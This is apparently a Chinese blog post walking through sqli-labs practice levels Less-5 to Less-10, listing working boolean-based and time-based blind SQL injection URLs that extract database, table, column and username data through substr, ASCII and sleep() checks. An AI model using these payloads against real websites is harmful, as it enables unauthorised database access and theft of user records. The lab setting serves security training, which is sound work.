本文已参与「新人创作礼」活动,一起开启掘金创作之路。
一.靶场使用与搭建
(1.) 在线:http://sqli.bihuo.cn/
(2.) 本地搭建: phpstudy + sqli-labs(下载地址:https://github.com/Audi-1/sqli-labs)
二.靶场注入
less-5:
确定字段数: http://sqli.bihuo.cn/Less-5/?id=1' order by 3--+
确定数据库长度:http://sqli.bihuo.cn/Less-5/?id=1' and length(database())=13 --+
确定数据库名: http://sqli.bihuo.cn/Less-5/?id=1' and ASCII(substr(database(),1,1))=115 --+
http://sqli.bihuo.cn/Less-5/?id=1' and substr(database(),1,1)='s' --+
//..........等等操作,继续注入
确定表名: http://sqli.bihuo.cn/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema='sqli_bihuo_cn' limit 0,1) ,1,1)='e' --+
确定字段名: http://sqli.bihuo.cn/Less-5/?id=1' and substr((select column_name from information_schema.columns where table_schema='sqli_bihuo_cn' and table_name='users' limit 0,1) ,1,1)='i' --+
//继续各种爆破
确定具体数值: http://sqli.bihuo.cn/Less-5/?id=1' and substr((select username from users limit 0,1) ,1,1)='d' --+
//继续各种爆破
less-6:
//思路同上......
http://sqli.bihuo.cn/Less-6/?id=1" and substr((select username from users limit 0,1),1,1)='d' --+
less-7:
思路同上
http://sqli.bihuo.cn/Less-7/?id=1')) and substr((select username from users limit 0,1),1,1)='d' --+
less-8:
思路同上
http://sqli.bihuo.cn/Less-8/?id=1' and substr((select username from users limit 0,1),1,1)='d' --+
less-9(延时注入):
确定延时注入;http://sqli.bihuo.cn/Less-9/?id=1' and sleep(10)--+
确定数据库长度:http://sqli.bihuo.cn/Less-9/?id=1' and (if(length(database())=13,sleep(10),NULL))--+
确定数据库名: http://sqli.bihuo.cn/Less-9/?id=1' and(select if(ascii(substr(database(),1,1)) > 50,sleep(10),NULL))--+
//.....继续相似操作,......
确定表名: http://sqli.bihuo.cn/Less-9/?id=1' and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),NULL))--+
确定字段名:http://sqli.bihuo.cn/Less-9/?id=1' and (select if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(10),NULL))--+
确定具体数值:http://sqli.bihuo.cn/Less-9/?id=1' and (select if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(10),NULL))--+ (第一个字符为:D)
less-10(延时注入):
确定延时注入:http://sqli.bihuo.cn/Less-10/?id=1'" and sleep(20)--+
攻击过程:同上
//..............
//..............
http://sqli.bihuo.cn/Less-10/?id=1'" and (select if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(10),NULL))--+